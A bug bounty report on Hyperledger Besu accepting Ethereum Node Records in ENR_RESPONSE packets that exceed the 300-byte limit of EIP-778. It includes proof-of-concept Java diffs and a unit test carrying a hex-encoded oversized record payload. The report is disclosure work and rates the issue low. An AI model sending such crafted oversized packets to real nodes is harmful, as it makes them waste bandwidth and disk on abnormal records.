#38902 [BC-Low] No check on the maximum size of the encoded ENR on ENR_RESPONSE packet
Submitted on Jan 17th 2025 at 13:39:03 UTC by @Franfran for Attackathon | Ethereum Protocol
Report ID: #38902
Report Type: Blockchain/DLT
Report severity: Low
Target: https://github.com/hyperledger/besu
Impacts:
(Specifications) A bug in specifications with no direct impact on client implementations
Description
Brief/Intro
When asking for an Ethereum Node Record (ENR) of another node, this one should respond with a packet containing this information. It is specified that ENR should be long of at most 300 bytes but this check is missing when decoding these packets.
Vulnerability Details
In the EIP-778 defining ENR, it is stated that "The maximum encoded size of a node record is 300 bytes. Implementations should reject records larger than this size."
When receiving an ENR_RESPONSE
packet, the packet is first deserialized with the ENRResponsePacketData::readFrom
function.
This function RLP decodes the packet data from raw RLP by using the discovery library by calling its function fromBytes but this library contains a bug.
Indeed, it doesn't check if the RLP-encoded packet data size exceeds 300 bytes.Here is the definition of the fromBytes
function which seems to check for the size of some data not exceeding 300 bytes, but this is only checking that the value of the id
in the key-value store of the ENR does not exceed 300 bytes. This seems to be a misunderstanding with the specification, that says that the RLP-encoded record should not exceed 300 bytes.
To conclude, a peer can send an unexpectedly big ENR to our node when responding with the ENRResponse
packet and it's going to be accepted and stored.
Impact Details
This is a drift from the specification and will make the implementation waste resources by allowing huge UDP packets of the ENRResponse
as well as storing abnormally big records on disk.
References
Links added where applicable
Proof of Concept
Allow serialization or the ENR without limit check in the call to Packet.create
in order to build a simple POC
diff --git a/ethereum/p2p/src/main/java/org/hyperledger/besu/ethereum/p2p/discovery/internal/ENRResponsePacketData.java b/ethereum/p2p/src/main/java/org/hyperledger/besu/ethereum/p2p/discovery/internal/ENRResponsePacketData.java
index d71c7e1e0..642dc603c 100644
--- a/ethereum/p2p/src/main/java/org/hyperledger/besu/ethereum/p2p/discovery/internal/ENRResponsePacketData.java
+++ b/ethereum/p2p/src/main/java/org/hyperledger/besu/ethereum/p2p/discovery/internal/ENRResponsePacketData.java
@@ -55,7 +55,8 @@ public class ENRResponsePacketData implements PacketData {
public void writeTo(final RLPOutput out) {
out.startList();
out.writeBytes(requestHash);
- out.writeRLPBytes(enr.serialize());
+// out.writeRLPBytes(enr.serialize());
+ out.writeRLPBytes(enr.asRlp());
out.endList();
}
Add this test
diff --git a/ethereum/p2p/src/test/java/org/hyperledger/besu/ethereum/p2p/discovery/internal/PeerDiscoveryControllerTest.java b/ethereum/p2p/src/test/java/org/hyperledger/besu/ethereum/p2p/discovery/internal/PeerDiscoveryControllerTest.java
index 4005673e3..3d09f6d21 100644
--- a/ethereum/p2p/src/test/java/org/hyperledger/besu/ethereum/p2p/discovery/internal/PeerDiscoveryControllerTest.java
+++ b/ethereum/p2p/src/test/java/org/hyperledger/besu/ethereum/p2p/discovery/internal/PeerDiscoveryControllerTest.java
@@ -16,6 +16,7 @@ package org.hyperledger.besu.ethereum.p2p.discovery.internal;
import static com.google.common.base.Preconditions.checkNotNull;
import static org.assertj.core.api.Assertions.assertThat;
+import static org.assertj.core.api.Assertions.assertThatNoException;
import static org.assertj.core.api.Assertions.assertThatThrownBy;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.anyLong;
@@ -1575,6 +1576,30 @@ public class PeerDiscoveryControllerTest {
verify(controller, times(1)).connectOnRlpxLayer(eq(maybePeer.get()));
}
+ @Test
+ public void canRespondWithBigENR() {
+ final List<NodeKey> nodeKeys = PeerDiscoveryTestHelper.generateNodeKeys(1);
+ final NodeKey nodeKey = nodeKeys.getFirst();
+ final List<DiscoveryPeer> peers = helper.createDiscoveryPeers(nodeKeys);
+ final DiscoveryPeer sender = peers.getFirst();
+
+ final NodeRecord nodeRecord = createNodeRecord(nodeKey, true);
+ nodeRecord.set("garbage1", Bytes.of(new byte[100]));
+ nodeRecord.set("garbage2", Bytes.of(new byte[100]));
+ assertThat(nodeRecord.asRlp().size()).isGreaterThan(300);
+
+ final Bytes requestHash = Bytes.of(0x00, 0x01, 0x02, 0x03);
+ final ENRResponsePacketData enrResponsePacketData =
+ ENRResponsePacketData.create(
+ requestHash, nodeRecord);
+
+ prepareForForkIdCheck(nodeKeys, sender, false);
+ final Packet enrPacket =
+ Packet.create(PacketType.ENR_RESPONSE, enrResponsePacketData, nodeKey);
+
+ assertThatNoException().isThrownBy(() -> controller.onMessage(enrPacket, sender));
+ }
+
@Nonnull
private Packet prepareForForkIdCheck(
final List<NodeKey> nodeKeys, final DiscoveryPeer sender, final boolean sendForkId) {
If you're worried about the patch to the writeTo
making the POC possible, revert this patch and instead build the packet from the RLP data, which doesn't check the size of the ENR record as expected.
diff --git a/ethereum/p2p/src/main/java/org/hyperledger/besu/ethereum/p2p/discovery/internal/Packet.java b/ethereum/p2p/src/main/java/org/hyperledger/besu/ethereum/p2p/discovery/internal/Packet.java
index e7e113bfb..6d39702ab 100644
--- a/ethereum/p2p/src/main/java/org/hyperledger/besu/ethereum/p2p/discovery/internal/Packet.java
+++ b/ethereum/p2p/src/main/java/org/hyperledger/besu/ethereum/p2p/discovery/internal/Packet.java
@@ -54,12 +54,11 @@ public class Packet {
private final SECPSignature signature;
private final SECPPublicKey publicKey;
- private Packet(final PacketType type, final PacketData data, final NodeKey nodeKey) {
+ private Packet(final PacketType type, final PacketData data, final NodeKey nodeKey, final Bytes dataBytes) {
this.type = type;
this.data = data;
final Bytes typeBytes = Bytes.of(this.type.getValue());
- final Bytes dataBytes = RLP.encode(this.data::writeTo);
this.signature = nodeKey.sign(keccak256(Bytes.wrap(typeBytes, dataBytes)));
this.hash = keccak256(Bytes.concatenate(encodeSignature(signature), typeBytes, dataBytes));
@@ -96,7 +95,12 @@ public class Packet {
public static Packet create(
final PacketType packetType, final PacketData packetData, final NodeKey nodeKey) {
- return new Packet(packetType, packetData, nodeKey);
+ return new Packet(packetType, packetData, nodeKey, RLP.encode(packetData::writeTo));
+ }
+
+ public static Packet create2(
+ final PacketType packetType, final PacketData packetData, final NodeKey nodeKey, final Bytes dataBytes) {
+ return new Packet(packetType, packetData, nodeKey, dataBytes);
}
public static Packet decode(final Buffer message) {
And the updated test:
diff --git a/ethereum/p2p/src/test/java/org/hyperledger/besu/ethereum/p2p/discovery/internal/PeerDiscoveryControllerTest.java b/ethereum/p2p/src/test/java/org/hyperledger/besu/ethereum/p2p/discovery/internal/PeerDiscoveryControllerTest.java
index 4005673e3..2cd679f9c 100644
--- a/ethereum/p2p/src/test/java/org/hyperledger/besu/ethereum/p2p/discovery/internal/PeerDiscoveryControllerTest.java
+++ b/ethereum/p2p/src/test/java/org/hyperledger/besu/ethereum/p2p/discovery/internal/PeerDiscoveryControllerTest.java
@@ -16,6 +16,7 @@ package org.hyperledger.besu.ethereum.p2p.discovery.internal;
import static com.google.common.base.Preconditions.checkNotNull;
import static org.assertj.core.api.Assertions.assertThat;
+import static org.assertj.core.api.Assertions.assertThatNoException;
import static org.assertj.core.api.Assertions.assertThatThrownBy;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.ArgumentMatchers.anyLong;
@@ -45,6 +46,10 @@ import org.hyperledger.besu.ethereum.p2p.permissions.PeerPermissions;
import org.hyperledger.besu.ethereum.p2p.permissions.PeerPermissions.Action;
import org.hyperledger.besu.ethereum.p2p.permissions.PeerPermissionsDenylist;
import org.hyperledger.besu.ethereum.p2p.rlpx.RlpxAgent;
+import org.hyperledger.besu.ethereum.rlp.BytesValueRLPOutput;
+import org.hyperledger.besu.ethereum.rlp.RLP;
+import org.hyperledger.besu.ethereum.rlp.RLPInput;
+import org.hyperledger.besu.ethereum.rlp.RLPOutput;
import org.hyperledger.besu.metrics.noop.NoOpMetricsSystem;
import java.time.Instant;
@@ -1575,6 +1580,38 @@ public class PeerDiscoveryControllerTest {
verify(controller, times(1)).connectOnRlpxLayer(eq(maybePeer.get()));
}
+ @Test
+ public void canRespondWithBigENR() {
+ final List<NodeKey> nodeKeys = PeerDiscoveryTestHelper.generateNodeKeys(1);
+ final NodeKey nodeKey = nodeKeys.getFirst();
+ final List<DiscoveryPeer> peers = helper.createDiscoveryPeers(nodeKeys);
+ final DiscoveryPeer sender = peers.getFirst();
+
+ /* NodeRecord nodeRecord = createNodeRecord(nodeKey, true);
+ nodeRecord.set("garbage1", Bytes.of(new byte[100]));
+ nodeRecord.set("garbage2", Bytes.of(new byte[100]));
+ assertThat(nodeRecord.asRlp().size()).isGreaterThan(300);
+
+ final Bytes requestHash = Bytes.of(0x00, 0x01, 0x02, 0x03);
+ final ENRResponsePacketData enrResponsePacketData =
+ ENRResponsePacketData.create(
+ requestHash, nodeRecord);
+ final BytesValueRLPOutput out = new BytesValueRLPOutput();
+ enrResponsePacketData.writeTo(out);
+ final Bytes packetData = out.encoded();
+ System.err.println(packetData.toHexString());*/
+
+ final Bytes enrDataRlp = Bytes.fromHexString("0xf901808400010203f90178b84022416f7c1a2339b553d3849b6da9a6572898d41273fd569613c10afe5504ca2306a698da3d8b4941d017ec7e66bc69902313e2c5c322caf3d4c56c840c2cfd4a0183657468cac984fc64ec0483118c30886761726261676531b86400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000886761726261676532b86400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000826964827634826970847f00000189736563703235366b31a102839d567c7a7b9886c64229d62c6839075e7574153b8346bc84ad841b4afd7c0e83746370821ed283756470821307");
+ final ENRResponsePacketData enrResponsePacketData = ENRResponsePacketData.readFrom(RLP.input(enrDataRlp));
+ assertThat(enrResponsePacketData.getEnr().asRlp().size()).isGreaterThan(300);
+
+ prepareForForkIdCheck(nodeKeys, sender, false);
+ final Packet enrPacket =
+ Packet.create2(PacketType.ENR_RESPONSE, enrResponsePacketData, nodeKey, enrDataRlp);
+
+ assertThatNoException().isThrownBy(() -> controller.onMessage(enrPacket, sender));
+ }
+
@Nonnull
private Packet prepareForForkIdCheck(
final List<NodeKey> nodeKeys, final DiscoveryPeer sender, final boolean sendForkId) {
Was this helpful?